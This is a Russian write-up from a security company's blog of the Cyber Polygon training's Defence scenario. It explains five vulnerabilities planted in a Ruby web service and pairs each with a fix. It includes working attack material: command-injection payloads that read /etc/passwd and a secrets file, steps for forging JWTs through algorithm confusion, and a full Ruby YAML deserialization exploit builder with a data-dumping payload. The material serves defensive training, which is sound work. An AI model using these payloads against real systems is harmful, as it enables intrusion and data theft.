Русский
Русский
English
Статистика
Реклама

Attack-defence для бизнеса разбираем задания корпоративного тренинга Cyber Polygon

Типичный парадокс из жизни безопасника:

  • инцидентов быть не должно (потому что инциденты = потери для бизнеса);

  • но инцидентов должно быть много (потому что без опыта реагирования будет трудно сохранять квалификацию и оперативно отражать атаки).

Для выхода из этого порочного круга крупные компании заказывают услуги Red Team: нанимают сторонних специалистов, которые пытаются взломать компанию. Но, во-первых, это довольно дорого; во-вторых, развернуться здесь трудно: мало кто позволит всерьез ломать бизнес-критичные сервисы.

Мы решили попробовать другой подход практические учения и год назад впервые организовали бесплатный тренинг для корпоративных командCyber Polygon. В роли Red Team
мы атаковали сразу нескольких команд-участниц, причем все происходило в специальной тренировочной инфраструктуре, которую не жалко.

В июле прошел Cyber Polygon 2.0. В нем участвовали уже 120 команд из 29 стран, а сценарии тренинга включали и защиту инфраструктуры от активной атаки (Defence), и реагирование
и расследование инцидентов (Response).

В этом райтапе мы расскажем о заданиях сценария Defence: идеи для него мы черпали из опыта подготовки attack-defence CTF.

Легенда

Интерфейс главной страницы уязвимого веб-приложенияИнтерфейс главной страницы уязвимого веб-приложения

Согласно легенде, ввиртуальной инфраструктуре организации функционировал сервис, обрабатывающий конфиденциальную информацию клиентов. Этот сервис заинтересовал некую APT-группировку, которая планировала украсть конфиденциальные данные пользователей иперепродать ихначерном рынке, чтобы извлечь финансовую выгоду инанести репутационный ущерб организации.

APT-группировка заранее провела необходимую разведку, обнаружила ряд критичных уязвимостей в целевой системе и в день учений начала свою атаку.

Перед участниками тренинга стояли следующие задачи:

  • как можно быстрее справиться с начавшейся атакой;

  • минимизировать объем украденной информации;

  • сохранить работоспособность сервиса.

Участники могли использовать любые доступные и привычные им средства и методы защиты.

Основные механики

Как мысказали, при разработке сценария мывдохновлялись форматом attack-defenсe CTF. Однако наCyber Polygon участникам ненужно было атаковать другие команды достаточно было только защищать свой сервис.

Такое правило мыввели для того, чтобы все участники оказались вравных условиях исконцентрировались наулучшении навыков обороны. Кроме того, благодаря ему количественные метрики, азначит иоценка уровня команд, были более объективными.

Вкачестве метрик были определены следующие показатели:

Health Points (HP). HPвыражалось простым численным значением. Команда теряла очкиHP, если Red Team смогла успешно проэксплуатировать заложенную всервисе уязвимость иполучить флаг. Чем больше уязвимостей смогла проэксплуатировать Red Team, тем большеHP теряла команда, нопри этом укаждой изкомандHP отнимались только один раз зараунд.

Service Level Agreement (SLA). Вконтексте сценария показатель SLA характеризовал целостность идоступность сервиса. SLA измерялся впроцентах (0100%). Команда теряла очки SLA, если намомент обращения чекера сервис оказывался недоступен или функционировал ненадлежащим образом. Обращения чекера ксервису могли происходить несколько раз зараунд, ноколичество обращений ккаждой изкоманд всегда было одинаковым. Результирующее значение SLA высчитывалось как процентное соотношение удачных проверок (когда сервис доступен иполностью функционален) кобщему количеству проверок.

Чекермеханика, которая позволяла нам проверять, что сервисы участников функционируют должным образом. Поскольку игровой сервис имитировал реальное веб-приложение, чекер также использовался для проверки выполнения правил игры: участники немогли просто выключить сервис или отключить часть его функциональности, имнужно было защищаться отатак Red Team.

Результирующее количество баллов, заработанных командой входе сценария, вычислялось как SLA * HP.

Участникам давалось 30минут наподготовку, входе которых они должны были ознакомиться спредоставленным имсервисом, развернуть средства мониторинга изащиты иначать искать уязвимости вкоде сервиса.

Поистечении этого времени начиналась так называемая активная фаза сценария: Red Team приступала катаке. Активная фаза состояла из18раундов продолжительностью в5минут каждый.

Перед началом сценария каждая команда получала 180HP для каждой из5заложенных всервис уязвимостей (900HP всумме). Заэксплуатацию уязвимости команда теряла 10HP. Так, если вкаком-то раунде было проэксплуатировано 3уязвимости, заэтот раунд команда теряла суммарно 30HP, аесли было проэксплуатировано 5уязвимостей 50HP.

Помимо проверки того факта, что сервис команды функционирует должным образом, чекер применялся, чтобыв начале каждого раунда доставить в сервис команды так называемый флаг(используя легитимную функциональность сервиса). Флаг это строка формата Polygon{JWT}, где JWT JSON Web Token.

Вконтексте сценария флаг выступал вроли конфиденциальных данных: чем больше флагов смогла похитить Red Team, тем большей была утечка. Похищенный флаг также означал факт эксплуатации уязвимости: команда теряла очкиHP именно тогда, когда Red Team получала флаг, эксплуатируя туили иную уязвимость.

Инфраструктура и игровой сервис

Каждой команде, участвующей вучениях, мыпредоставили виртуальный сервер под управлением ОСLinux.

После подключения поVPN участники получали доступ ксвоему серверу посредством SSH, при этом участникам предоставлялся полный доступ (root) ксвоей системе.

Вдомашней директории пользователя /home/cyberpolygon/ch4ng3org располагался игровой сервис участников.

Бэкенд игрового сервиса был реализован наRuby, фронтенд сиспользованием фреймворка ReactJS, для управления базой данных была использована СУБД PostgreSQL.

Сервис был предназначен для запуска вDocker, начто указывало, вчастности, то, что всодержащей игровой сервис директории были расположены файлы Dockerfile иdocker-compose.yml.

Участники имели полный доступ кисходным кодам сервиса, файлам конфигурации ибазе данных имогли использовать эти сведения для поиска иустранения присутствующих всервисе уязвимостей.

Уязвимости

Небезопасные прямые ссылки на объекты

Уязвимость классанебезопасные прямые ссылки на объекты(IDOR, Insecure Direct Object Reference) возникает из-за недостатков в механизмах авторизации. Уязвимость позволяет злоумышленнику получить доступ к данным других пользователей, к которым при нормальных условиях функционирования приложения у него не должно бытьдоступа.

В игровом сервисе уязвимость присутствовала в методеget классаUsersController.

backend/app/controllers/users_controller.rb:

def get  user = User.find(params[:id])  if params[:full].present?    json_response({      id: user.id,      name: user.name,      email: user.email,      phone: user.phone    })  else    json_response({      id: user.id,      name: user.name    })  endend

При обращении по адресу видаhttp://example.com/api/users/<USER_ID>, где USER_ID числовой идентификатор пользователя, любой пользователь мог получить JSON-объект, содержащий числовой идентификатор и имя пользователя, соответствующее этому числовому идентификатору.

Эта функциональность сама по себе не несет какой-либо опасности пользовательским данным. Однако следует обратить внимание на следующий фрагмент кода:

if params[:full].present?  json_response({    id: user.id,    name: user.name,    email: user.email,    phone: user.phone  })

Как можно увидеть, если передать взапросе параметр full, вответе отсервера будет содержаться уже большее количество данных: помимо идентификатора иимени пользователя вответе отсервиса будут возвращены еще его email иномер телефона.

Вигровом сервисе флаги хранились как раз вполе user.phone (это можно было обнаружить, например, анализируя сетевой трафик). Каждый раунд чекер создавал нескольких пользователей ивкачестве номера телефона для одного изних сохранял флаг.

Чтобы воспользоваться данным недостатком приложения, члены Red Team отправляли
в сервис запросы видаhttp://example.com/api/users/<USER_ID>?full=1и искали флаг
в полеphone полученных JSON-объектов.

Процесс перебора числовых идентификаторов пользователей для получения флагаПроцесс перебора числовых идентификаторов пользователей для получения флага

Для защиты от этой уязвимостихорошей практикой считаетсямаскированиеконфиденциальных данных при их отображении пользователю. Так,номертелефона+71112223344можно отображать как+7111*****44.

Например:

def get  user = User.find(params[:id])  if params[:full].present?    # Masking user's phone number    uphone = user.phone    x = 5    y = uphone.length - 3    replacement = '*'*(y-x)    uphone[x..y] = replacement    json_response({      id: user.id,      name: user.name,      email: user.email,      phone: uphone    })  else    json_response({      id: user.id,      name: user.name    })  endend

В таком случае вместо полного значения флага Red Team получала бы строку видаPolyg********X}, а команда участников не теряла бы очки HP из-за эксплуатации этой уязвимости.

Внедрение команд ОС

Внедрение команд ОС (Command Injection) происходит в результате недостаточной фильтрации пользовательских данных.Используя эту уязвимость, злоумышленник может формировать ввод, содержащий команды ОС, которые выполняются на целевой системе с привилегиями уязвимого приложения.

В игровом сервисе уязвимость присутствовала в методеdisk_stats класса StatsController.

backend/app/controllers/stats_controller.rb:

def disk_stats  if params[:flags].present?    flags = params[:flags]  else    flags = ''  end  json_response({    disk: `df #{flags}`  })end

При обращении по адресу видаhttp://example.com/api/disk_stats в ответе сервиса
в полеdiskJSON-объекта возвращается вывод системной утилитыdf, позволяющей оценить количество свободного пространства в файловой системе.

В вызываемую команду, по задумке разработчика, можно передавать различные параметры, однако при этом их значение никак не фильтруется:

if params[:flags].present?  flags = params[:flags]~~~~~~~~~~~~~~~~~~~~~~~~~~  json_response({    disk: `df #{flags}`  })

Это означает, что потенциальный злоумышленник может выполнить практически любую команду всистеме, используя специальный синтаксис командной строки.

Так, например, выполнив запрос http://example.com/api/disk_stats?flags=;cat/etc/passwd, злоумышленник сможет прочитать содержимое системного файла/etc/passwd.

Содержимое файла /etc/passwd, полученное в ответе от сервераСодержимое файла /etc/passwd, полученное в ответе от сервера

Red Teamэксплуатироваладанный недостаток следующим образом:

  1. При помощи отправки запросаhttp://example.com/api/disk_stats?flags=>dev/null;cat config/secrets.ymlRed Team получала содержимое файлаbackend/config/secrets.yml, в котором хранился приватный ключ для подписи JWT-токенов.

  2. Имея приватный ключ, Red Team могла сформировать и подписать себе валидный JWT-токен для любого пользователя. Поскольку Red Team использовала актуальный приватный ключ сервиса, данный токен был бы успешно провалидирован и принят приложением.

  3. При помощи отправки запросаhttp://example.com/api/meот лица пользователя, для которого был сгенерирован токен, Red Team получала номер телефона этого пользователя и проверяла, нет ли в нем флага.

Приватный ключ сервиса, полученный в ответе от сервераПриватный ключ сервиса, полученный в ответе от сервера

Чтобы защититься от этой уязвимости,достаточно было запретить передавать какие-либо параметры в вызов команды, поскольку общая работоспособность системы не завязана
на использовании этого эндпоинта:

def disk_stats  json_response({    disk: `df`  })end

Небезопасная конфигурация

Уязвимостьнебезопасной конфигурации(Security Misconfiguration) возникает, как правило,
из-за человеческого фактора. Стандартные конфигурации приложений часто недостаточно ориентированы на безопасность. Из-за лени, недостатка внимания или некомпетентности обслуживающего персонала эти конфигурации порой остаются неадаптированными к суровым реалиям, что существенно сказывается на безопасности приложения.

В игровом сервисе эта уязвимость присутствовала в описании сервисаdbв файлеdocker-compose.yml.

  db:    image: postgres    restart: always    network_mode: bridge    volumes:      - ./db_data:/var/lib/postgresql/data    ports:      - 5432:5432    environment:      POSTGRES_DB: ch4ng3      POSTGRES_USER: ch4ng3      POSTGRES_PASSWORD: ch4ng3

Как можно заметить, сетевой порт базы данных доступен из внешней сети:

  ports:      - 5432:5432

Кроме того, сервер базы данных использует вкачестве имени базы данных, имени пользователя ипароля одну итуже строку, ктомуже совпадающую сименем сервиса ch4ng3.org.

Обнаружив врезультате сканирования сети порт базы данных, Red Team смогла подобрать логин ипароль кэтой базе данных. После этого она выполнила следующий SQL-запрос, получив врезультате сразу все номера пользовательских телефонов, вкоторых хранились флаги:

SELECT phone FROM users WHERE phone LIKE 'Polygon%'
Пример исполнения вышеприведенного SQL-запросаПример исполнения вышеприведенного SQL-запроса

Для защиты от этой уязвимостиидеальным решением стал бы запрет на подключение к базе данных из внешней сети и смена пароляпользователя базы данных (при этом нужно было
не забыть внести соответствующие изменения в конфигурацию сервисаapi):

  db:    image: postgres    restart: always    network_mode: bridge    volumes:      - ./db_data:/var/lib/postgresql/data    environment:      POSTGRES_DB: ch4ng3      POSTGRES_USER: ch4ng3      POSTGRES_PASSWORD: <VERY_SECRET_PASSWORD>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    environment:      - DATABASE_URL=postgres://ch4ng3:<VERY_SECRET_PASSWORD>@db:5432/ch4ng3?sslmode=disable

Однако достаточно былопредпринять одно действие из двух: сменить пароль пользователя базы данных на более безопасный либо запретить подключения к базе данных из внешней сети.

Изменение алгоритма подписи JWT

Следующая заложенная в игровом сервисе уязвимость была связана сосменой алгоритма подписи JWT.

В игровом сервисе уязвимость присутствовала в методеdecodeклассаJsonWebToken.

backend/app/lib/json_web_token.rb:

def self.decode(token, algorithm)  # cannot store key as ruby object in yaml file  public_key = Rails.application.secrets.public_key_base  if algorithm == 'RS256'    public_key = OpenSSL::PKey::RSA.new(public_key)  end  # get payload; first index in decoded array  body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]  HashWithIndifferentAccess.new body  # rescue from expiry exceptionrescue JWT::ExpiredSignature, JWT::VerificationError => e  # raise custom error to be handled by custom handler  raise ExceptionHandler::InvalidToken, e.messageend

Стоит более внимательно присмотреться к следующим строкам:

public_key = Rails.application.secrets.public_key_baseif algorithm == 'RS256'  public_key = OpenSSL::PKey::RSA.new(public_key)end# get payload; first index in decoded arraybody = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]

Приложение подгружает строку с публичным ключом сервиса из файлаконфигурации и, если
в токене был передан алгоритмRS256, производит преобразование этой строки в публичный ключ RSA, который в дальнейшем используется для проверки подписи токена.

Легитимный запрос на получение пользовательских данныхЛегитимный запрос на получение пользовательских данныхДекодированный токен из предыдущего запроса. В поле alg передано значение RS256Декодированный токен из предыдущего запроса. В поле alg передано значение RS256

Можно заметить,что, еслив параметреalgorithmпередано любое другое значение, преобразования строки с публичным ключом не произойдет. Если передать в полеalgJWT значениеHS256, то для проверки подписи токена будет использован симметричный алгоритм HMAC, и именно эта строка с публичным ключом будет использована в качестве ключа для проверки подписи токена.

Red Team эксплуатировала данный недостаток следующим образом:

  1. При помощи отправки запросаhttp://example.com/api/auth/third_partyRed Team получала публичный ключ сервиса из поляpublic_keyполученного JSON-объекта.

  2. Имея публичный ключ, Red Team могла сформировать валидный JWT-токен для любого пользователя, передав в полеalgJWT значениеHS256и подписав токен, используя
    в качестве секрета для алгоритма HMAC строку, содержащую публичный ключ сервиса.

  3. При помощи отправки запроса http://example.com/api/me от лица пользователя, для которого был сгенерирован токен, Red Team получала номер телефона этого пользователя ипроверяла, нетли внем флага.

Публичный ключ сервиса, полученный с использованием легитимной функциональности Публичный ключ сервиса, полученный с использованием легитимной функциональности Новый токен подписан при помощи алгоритма HS256Новый токен подписан при помощи алгоритма HS256Новый токен успешно проходит проверку, и сервис возвращает пользовательские данныеНовый токен успешно проходит проверку, и сервис возвращает пользовательские данные

Чтобы защититься от этой уязвимости,можно было руководствоваться следующей рекомендацией: при работе с JWT желательно использовать одновременно только один алгоритм подписи либо симметричный, либо асимметричный. Так, самое простое исправление будет выглядеть следующим образом:

backend/app/lib/json_web_token.rb:

def self.decode(token, algorithm)  # cannot store key as ruby object in yaml file  public_key = Rails.application.secrets.public_key_base  if algorithm == 'RS256'    public_key = OpenSSL::PKey::RSA.new(public_key)  else    raise ExceptionHandler::InvalidToken, Message.invalid_token  end  # get payload; first index in decoded array  body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]  HashWithIndifferentAccess.new body  # rescue from expiry exceptionrescue JWT::ExpiredSignature, JWT::VerificationError => e  # raise custom error to be handled by custom handler  raise ExceptionHandler::InvalidToken, e.messageend

Теперь, если передать в полеalgтокена значение, отличное отRS256, токен будет помечен как невалидный и Red Team не сможет получить доступ к приложению от лица других пользователей, подписывая токены публичным ключом сервиса.

Небезопасная десериализация YAML

Последняя заложенная в игровом сервисе уязвимость была связана снебезопасной десериализациейYAML.

Подписанные пользователем петиции в личном кабинетеПодписанные пользователем петиции в личном кабинете

За импорт петиций через их описание в формате YAML отвечал методimportклассаPetitionsController.

backend/app/controllers/petitions_controller.rb:

def import  yaml = Base64.decode64(params[:petition])  begin    petition = YAML.load(yaml)  rescue Psych::SyntaxError => e    json_response({message: e.message}, 500)    return  rescue => e    json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)    return  end  if petition['created_at']    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])  else    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])  end  petition.signs.create!(petition_id: petition.id, user_id: current_user.id)  json_response(petition)end

Особое внимание стоило уделить следующим строкам кода:

yaml = Base64.decode64(params[:petition])begin  petition = YAML.load(yaml)rescue Psych::SyntaxError => e  json_response({message: e.message}, 500)  return

Как можно заметить, содержимоеYAML-объектаберется из base64-кодированного параметраpetition, после чего преобразуется в объекты языка Ruby конструкциейYAML.load(yaml).

Данная конструкция является небезопасной и позволяет, в том числе, выполнить на целевой системе произвольный код на языке Ruby в контексте уязвимого приложения, чем
и пользовалась Red Team.

При помощи следующего скриптабылсгенерированYAML-объект, эксплуатирующий данный недостаток:

require "erb"require "base64"require "active_support"if ARGV.empty?  puts "Usage: exploit_builder.rb <source_file>"  exit!enderb = ERB.allocateerb.instance_variable_set :@src, File.read(ARGV.first)erb.instance_variable_set :@lineno, 1depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :resultpayload = Base64.encode64(Marshal.dump(depr))puts <<-PAYLOAD---!ruby/object:Gem::Requirementrequirements:  - !ruby/object:Rack::Session::Abstract::SessionHash      req: !ruby/object:Rack::Request        env:          rack.session: !ruby/object:Rack::Session::Abstract::SessionHash            loaded: true          HTTP_COOKIE: "a=#{payload}"      store: !ruby/object:Rack::Session::Cookie        coder: !ruby/object:Rack::Session::Cookie::Base64::Marshal {}        key: a        secrets: []      exists: truePAYLOAD

В качестве полезной нагрузки был использован следующий код:

phones = ''User.all().each do |user|  phones += user.phone + ';'  endraise phones

Код получал номера телефонов всех зарегистрированных всервисе пользователей, объединял ихдруг сдругом через ; ипри помощи конструкции raise вызывал исключение, передавая вкачестве сообщения обошибке строку, содержащую номера телефонов пользователей.

Сообщение об ошибке далее возвращалось сервером в поле JSON-объектаmessageвместе
с кодом ответа 500. При получении такого ответа Red Teamоставалосьтолько найти флаг
в сообщении об ошибке.

Номера телефонов всех зарегистрированных пользователей (в том числе и содержащие флаги) возвращаются от сервера в сообщении об ошибкеНомера телефонов всех зарегистрированных пользователей (в том числе и содержащие флаги) возвращаются от сервера в сообщении об ошибке

Чтобы защититься от данной уязвимости,достаточнобыло заменить вызов функцииYAML.load(yaml)на вызов функцииYAML.safe_load(yaml). Однако чекер в процессе проверки функциональности проверял, чтобы в переданномYAML-объектебыло возможно использовать алиасы. Поэтому результирующая конструкция будет выглядеть примерно так:YAML.safe_load(yaml, aliases: true).

А результирующая безопасная функция так:

def import  yaml = Base64.decode64(params[:petition])  begin    petition = YAML.safe_load(yaml, aliases: true)  rescue Psych::SyntaxError => e    json_response({message: e.message}, 500)    return  rescue => e    json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)    return  end  if petition['created_at']    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])  else    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])  end  petition.signs.create!(petition_id: petition.id, user_id: current_user.id)  json_response(petition)end

Послесловие

Итак, мырассмотрели уязвимости, заложенные вигровом сервисе Defence-сценария тренинга Cyber Polygon, разобрали способы ихэксплуатации ипривели примеры исправлений, которые позволилибы участникам защитить свой сервис отатак Red Team.

Конечно, наши варианты устранения уязвимостей неединственно верные. Мыпросто перечислили теспособы, которыми воспользовалисьбы сами.

Сценарий предусматривал, что участники могут защититься, неисправляя код всвоих игровых сервисах. Например, для защиты оттретьей уязвимости Security Misconfiguration, связанной снебезопасной конфигурацией Docker, достаточно было заблокировать порт базы данных нафайрволе.

Однако мыубеждены, что лучшее решение исправлять недостатки сервисов иприложений, анеприкрывать ихспомощью компенсационных мер защиты, которые рано или поздно атакующий может обойти. Вот почему мыподробно рассмотрели корректировку исходного кода для защиты отуязвимостей.

Если выучаствовали вCyber Polygon, напишите, что вам показалось самым полезным. Амыпока пойдем писать райтап ковторому сценарию Response, посвященному расследованию киберинцидентов.

Источник: habr.com
К списку статей
Опубликовано: 02.11.2020 16:19:26
0

Сейчас читают

Комментариев (0)
Имя
Электронная почта

Блог компании bi.zone

Информационная безопасность

Ctf

Уязвимости

Red team

Write-up

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru